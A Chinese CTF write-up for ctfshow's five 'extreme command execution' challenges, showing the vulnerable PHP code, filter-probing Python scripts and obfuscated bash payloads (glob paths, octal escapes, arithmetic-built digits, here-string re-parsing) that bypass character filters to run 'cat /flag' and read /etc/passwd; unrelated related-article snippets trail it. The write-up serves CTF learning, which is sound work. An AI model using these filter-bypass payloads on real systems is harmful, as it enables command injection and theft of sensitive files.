草庐IT

ctfshow 每周大挑战 极限命令执行

练习两年半的篮球选..哦不对安全选手 2023-11-12 原文

《简单的命令执行题目》
这里感叹一下,g4佬是真好厉害,这次题目十分的难,嗯,对我这种菜鸡来说是这样的,想了一天,最后结束了,也还是没有想明白第五题的解法,我真是fw,比赛结束以前也只能解出4道。


但是这次获得了三十多块钱比上次解出来5题还多,一个小月卡有了,感谢ctfshow,突然感觉有点对不起,ctfshow我一分钱没花过,人家还倒贴钱,哈哈哈。

目录

基础

题目

极限命令执行1

极限命令执行2

极限命令执行3

官方的wp及分析

极限命令执行4

官方的wp及分析

极限命令执行5


基础

在讲之前大家可以先了解了解一些基础。

首先关于<<<,这里看下面这篇文章

stackexchange的文章   因为是stackexchange的,所以是要挂vpn的
然后下面这些文章也是可以看一下的
文章

文章1 文章2 文章3

题目

极限命令执行1

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
            system($ctfshow);
        }else{
            echo("????????");
        }
}
?> 

这里首先跑一下正则,因为一些不知名原因,直接显示不出来,所有进行url加密以后去解密了。

<?php
 
for ($a = 0; $a < 256; $a++) {
    if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",chr($a))){
        echo urlencode(chr($a))." ";
    }
}

这里我们就知道了,有这些是可以使用,这样我们就可以构造了。

因为题目提示环境是centos7,因为centos7的环境是可以直接使用/执行文件的

payload1:ctf_show=/?????a?
payload2:ctf_show=/???/?a??64 /??a?

极限命令执行2

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

里面是先经过,check然后,才进去system中的,那时候没有注意,还以为check是一个php自带函数,查了半天,之后才发现了include "check.php",哈哈哈

这里是一个过滤,我们可以尝试尝试,这里写一个脚本来跑正则。

import requests

#这里填写自己的靶机网址
url = "http://40e404d6-3af3-401c-b11c-9e48298fd1ce.challenge.ctf.show/"

str= ""
for i in range(255):
    data = {'ctf_show':chr(i)}
    retext = requests.post(url,data=data).text
    if "??????" in retext:
        print(1)
    else:
        str += chr(i)

print(str)
这里等1跑完了,可以用的就出来了。

 

这里有这些是可以使用的,然后就是这么一些东西来进行命令执行。

#这个命令大家应该都比较熟悉的吧,这个就是cat /etc/passwd的16进制
$(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")

#因为不能有字母和",这里就要进行变形了
$'\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'

但是这里出现一个问题,就是他不能进行命令执行,但是可以执行文件。

这里就是/getflag,我里面写的就是echo 1,但是现在有出现了一个问题就是有字母x,不可以使用的,但是别忘了还是有8进制的。

 

所以将16进制转换8进制就可以了

payload:ctf_show=$'\57\147\145\164\146\154\141\147'

极限命令执行3

 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

这里还是老样子,先跑跑正则。

!#$&'()01<\_{}~

这里跑出来是这些东西,看到0和1的瞬间我就想到二进制,一脸兴奋认为这题还是很简单的嘛,然后现实给我狠狠一巴掌。

这里我们可以看到其实最多就可以解析三位多了不行,之后就是在这里卡住了。

这里我卡了很久,然后是一直没有想明白然后再第一天的下午,突然想起来,一个原码和补码的知识,这里可以看ctfshow入门的57题。

这样就可以使用~()$,这四个符号来构造任何数字了,然后就有了第一代脚本。

a = r"\ 5 7 \ 1 4 7 \ 1 4 5 \ 1 6 4 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7"

b = a.split(' ')
str = ""
for i in b:
    if i != "\\":
        str += "$((~$((" + "$((~$(())))" * (int(i)+ 1) + "))))"
    else:
        str += "\\\\"

print("$'"+str+"'")

但是这里发现并没有被执行,然后多谢 谢队的提醒,让我在进一步。

首先我们要知道shell中的单引号和双引号都有自己的意思,这点和php、java之类的挺像的,当然不包括python。

这里就不说了,随便找了一篇文章,自己可以看一下 文章

#上面脚本下面改成这样
print("$\\'"+str+"\\'")

这里进了一步,但是接下来就是如何进一步执行的问题了

然后这里可以使用$0<<<来进行第一次解析来进一步执行,考虑到部分人没有vpn,这里截取一部分,上面发的文章,详细的自己进行查看,然后$0是什么意思可以自行查看上面的文章,简单点把$0当成bash就可以了。

或者可以可以这么理解,这样子还是十分好理解的。

command <<< string

command 是 Shell 命令,string 是字符串。将字符串通过标准输入,传递给命令

#然后这里再次更改脚本print的,输出的内容
print("$0<<<$\\'"+str+"\\'")

这里可以看到是,执行/getflag的,输出了1。

但是放到其中的时候还是不行,因为我没有注意他是没有getflag的。

一脸兴奋到现实又给了我一巴掌。

然后就是尝试使用命令cat /flag,但是提示没有这个文件,额,没了,然后又是卡了很久。

最后才知道是要第二个解析是要转义的,哎,不是很明白,单引号要转义就算了,第二次重定向还要转义。

#最终payload
# \ 1 4 3 \ 1 4 1 \ 1 6 4 \ 4 0 \ 5 7 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7 cat /flag
a = r"\ 1 4 3 \ 1 4 1 \ 1 6 4 \ 4 0 \ 5 7 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7"
b = a.split(' ')
str = ""
for i in b:
    if i != "\\":
        str += "$((~$((" + "$((~$(())))" * (int(i)+ 1) + "))))"
    else:
        str += "\\\\"
print("$0<<<$0\\<\\<\\<$\\'"+str+"\\'")
payload:ctf_show=$0<<<$0\<\<\<$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

官方的wp及分析

这里直接把那里的话,拿过来

禁用了除了01以外的数字,这里需要理解bash对于整数的表示形式是[base#]n的形式,比方说如果一个十进制数4,可以表示为二进制数100,那么在bash里可以表示为2#100

就是说4的二进制是100,但是想让这个解析,就需要使用2#100的方法,注意需要使用$(())包起来,表示计算。

然后就是接下来怎么表示输出2。

 这里就要用到<<,<<和<不一样,他不是用于比较的,他可以用于它的格式分成开始标记(<< token)和结束标记(token)。开始标记是两个小于号 + Here 文档的名称,名称可以随意取,后面必须是一个换行符;结束标记是单独一行顶格写的 Here 文档名称,如果不是顶格,结束标记不起作用。两者之间就是多行字符串的内容。


但是这是第一种用法,下面是第二种用法,他可以将二进制的码向前一位。
1的二进制是00000001,通过<<后变成了00000010也就是2,同理也就可以得到4,8,16

 

于是呼,我们这就构造出来一个东西,\143,对就是对应的数字。

下面写一个脚本供大家使用,关于<<<和$0的意思可以看上面。

# 因为要避免出现空格,所以第一个\去掉了
a = r"143\141\164\40\57\146\154\141\147" # cat /flag
b = a.split("\\")

str = ""
for i in b:
    if i != "\\":
        str += "\\\\$(($((1<<1))#"+format(int(i),'b')+"))"
    else:
        str += "\\\\"

print("$0<<<$0\<\<\<$\\'"+str+"\\'")
payload:ctf_show=$0<<<$0\<\<\<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

极限命令执行4

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

老样子使用python跑一下正则。

!#$&'()0<\_{}~

就比上面少一个1,但是我也没有用到1呀,所以用上面我自己第三题的payload就可以了,就不多讲了。

官方的wp及分析

因为禁用了1,所以我们就要想办法代替1。

 

这里我们可以知道${#}可以等于0,${##}=1,这时候有人就疑惑了,嗯,既然${#}可以代替0,那为什么0没有被过滤呢,我只能说很抱歉,这里\$${#},虽然输出是$0,但是并不按$0来解析,懂吧,所以我只要将上面第三题的payload的1替换成${##}就可以了

 这里推荐大家还是使用记事本直接替换,下面我是闲的没事才写的一个脚本。

# 第三题payload将取中间部分,就是$0<<<$0\<\<\<$\'后面的部分到\'
a = "\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))"

str = ""
for i in a:
    if i == "\\":
        i = "\\\\"
        str += i
    else:
        if i == "1":
           i = "${##}"
           str += i
        else:
            str += i

print("$0<<<$0\<\<\<$\\'"+str+"\\'")
payload:ctf_show=$0<<<$0\<\<\<$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

极限命令执行5

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

这里还是使用脚本先跑一下正则。

!$&'()<=\_{}~

只有这些东西,那时候实在给我恶心的不行,我太执着于$_,认为将$_再次执行一次才是正解,哎,最终还是以失败告终。

接下来给大家分析的是官方的wp和我自己的一些见解,毕竟我这个没有搞出来,血亏一个月卡。

因为~()$,这四个都是还在的,我们肯定还是可以构造任意数字的,主要就是bash的问题,我们没有bash就是解析不了,所以我那时候的思路也就是使用东西来替换$0.

 

这里我们可以看到,其实这些都是输出的bash的,然后看看$0.

 

也是bash,其实我们可以使用${0}来代替$0,$0其实是一种自带的简化的写法,0-9都可以使用简化,但是9上面就是要加上{}了,所以我们就是将$0还原。

 

 

 其实通过上面的知识,大家都应该知道了$(())是等于0的,然后那里所有可以使用字符中是只有_可以当做参数,然后要注意这里要和php分开,他这里一个_是不可以当做参数的,$_有自己的意思,就是记录上一次的值,所以可以使用多个_来作为参数。

 

所以__就等于了0,这里可以使用&&联合执行很重要。

这里要了解一下!这个符号,这个是可以获得前面的命令,!加字符串,可以获得上面包含这个字符的命令。

详细了解一下

 

结合上面的内容我们就获得了bash,然后把3那个我自己payload拿过来改一下。

这里看到是执行cat /flag,我自己根目录下面有一个flag。

#最终payload
# \ 1 4 3 \ 1 4 1 \ 1 6 4 \ 4 0 \ 5 7 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7 cat /flag
a = r"\ 1 4 3 \ 1 4 1 \ 1 6 4 \ 4 0 \ 5 7 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7"
b = a.split(' ')
str = ""
for i in b:
    if i != "\\":
        str += "$((~$((" + "$((~$(())))" * (int(i)+ 1) + "))))"
    else:
        str += "\\\\"
print("__=$(())%26%26${!__}<<<${!__}\\<\\<\\<$\\'"+str+"\\'")

我是比较喜欢这样的方法,好调试,可以放到自己靶机里面尝试改正,注意&&是要进行url编码的哦。

payload:ctf_show=__=$(())%26%26${!__}<<<${!__}\<\<\<$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

有关ctfshow 每周大挑战 极限命令执行的更多相关文章

  1. ruby-openid:执行发现时未设置@socket - 2

    我在使用omniauth/openid时遇到了一些麻烦。在尝试进行身份验证时,我在日志中发现了这一点:OpenID::FetchingError:Errorfetchinghttps://www.google.com/accounts/o8/.well-known/host-meta?hd=profiles.google.com%2Fmy_username:undefinedmethod`io'fornil:NilClass重要的是undefinedmethodio'fornil:NilClass来自openid/fetchers.rb,在下面的代码片段中:moduleNetclass

  2. ruby - 在 Ruby 中编写命令行实用程序 - 2

    我想用ruby​​编写一个小的命令行实用程序并将其作为gem分发。我知道安装后,Guard、Sass和Thor等某些gem可以从命令行自行运行。为了让gem像二进制文件一样可用,我需要在我的gemspec中指定什么。 最佳答案 Gem::Specification.newdo|s|...s.executable='name_of_executable'...endhttp://docs.rubygems.org/read/chapter/20 关于ruby-在Ruby中编写命令行实用程序

  3. ruby - Chef 执行非顺序配方 - 2

    我遵循了教程http://gettingstartedwithchef.com/,第1章。我的运行list是"run_list":["recipe[apt]","recipe[phpap]"]我的phpapRecipe默认Recipeinclude_recipe"apache2"include_recipe"build-essential"include_recipe"openssl"include_recipe"mysql::client"include_recipe"mysql::server"include_recipe"php"include_recipe"php::modul

  4. ruby - 为什么 Ruby 的 each 迭代器先执行? - 2

    我在用Ruby执行简单任务时遇到了一件奇怪的事情。我只想用每个方法迭代字母表,但迭代在执行中先进行:alfawit=("a".."z")puts"That'sanalphabet:\n\n#{alfawit.each{|litera|putslitera}}"这段代码的结果是:(缩写)abc⋮xyzThat'sanalphabet:a..z知道为什么它会这样工作或者我做错了什么吗?提前致谢。 最佳答案 因为您的each调用被插入到在固定字符串之前执行的字符串文字中。此外,each返回一个Enumerable,实际上您甚至打印它。试试

  5. ruby - 检查是否通过 require 执行或导入了 Ruby 程序 - 2

    如何检查Ruby文件是否是通过“require”或“load”导入的,而不是简单地从命令行执行的?例如:foo.rb的内容:puts"Hello"bar.rb的内容require'foo'输出:$./foo.rbHello$./bar.rbHello基本上,我想调用bar.rb以不执行puts调用。 最佳答案 将foo.rb改为:if__FILE__==$0puts"Hello"end检查__FILE__-当前ruby​​文件的名称-与$0-正在运行的脚本的名称。 关于ruby-检查是否

  6. 【高数】用拉格朗日中值定理解决极限问题 - 2

    首先回顾一下拉格朗日定理的内容:函数f(x)是在闭区间[a,b]上连续、开区间(a,b)上可导的函数,那么至少存在一个,使得:通过这个表达式我们可以知道,f(x)是函数的主体,a和b可以看作是主体函数f(x)中所取的两个值。那么可以有,  也就意味着我们可以用来替换 这种替换可以用在求某些多项式差的极限中。方法: 外层函数f(x)是一致的,并且h(x)和g(x)是等价无穷小。此时,利用拉格朗日定理,将原式替换为 ,再进行求解,往往会省去复合函数求极限的很多麻烦。使用要注意:1.要先找到主体函数f(x),即外层函数必须相同。2.f(x)找到后,复合部分是等价无穷小。3.要满足作差的形式。如果是加

  7. postman——集合——执行集合——测试脚本——pm对象简单示例02 - 2

    //1.验证返回状态码是否是200pm.test("Statuscodeis200",function(){pm.response.to.have.status(200);});//2.验证返回body内是否含有某个值pm.test("Bodymatchesstring",function(){pm.expect(pm.response.text()).to.include("string_you_want_to_search");});//3.验证某个返回值是否是100pm.test("Yourtestname",function(){varjsonData=pm.response.json

  8. ruby-on-rails - rbenv:从 RVM 移动到 rbenv 后,在 Jenkins 执行 shell 中找不到命令 - 2

    我从Ubuntu服务器上的RVM转移到rbenv。当我使用RVM时,使用bundle没有问题。转移到rbenv后,我在Jenkins的执行shell中收到“找不到命令”错误。我内爆并删除了RVM,并从~/.bashrc'中删除了所有与RVM相关的行。使用后我仍然收到此错误:rvmimploderm~/.rvm-rfrm~/.rvmrcgeminstallbundlerecho'exportPATH="$HOME/.rbenv/bin:$PATH"'>>~/.bashrcecho'eval"$(rbenvinit-)"'>>~/.bashrc.~/.bashrcrbenvversions

  9. ruby - 如何使用 Selenium Webdriver 根据 div 的内容执行操作? - 2

    我有一个使用SeleniumWebdriver和Nokogiri的Ruby应用程序。我想选择一个类,然后对于那个类对应的每个div,我想根据div的内容执行一个Action。例如,我正在解析以下页面:https://www.google.com/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#q=puppies这是一个搜索结果页面,我正在寻找描述中包含“Adoption”一词的第一个结果。因此机器人应该寻找带有className:"result"的div,对于每个检查它的.descriptiondiv是否包含单词“adoption

  10. ruby-on-rails - Rake 任务仅调用一次时执行两次 - 2

    我写了一个非常简单的rake任务来尝试找到这个问题的根源。namespace:foodotaskbar::environmentdoputs'RUNNING'endend当在控制台中执行rakefoo:bar时,输出为:RUNNINGRUNNING当我执行任何rake任务时会发生这种情况。有没有人遇到过这样的事情?编辑上面的rake任务就是写在那个.rake文件中的所有内容。这是当前正在使用的Rakefile。requireFile.expand_path('../config/application',__FILE__)OurApp::Application.load_tasks这里

随机推荐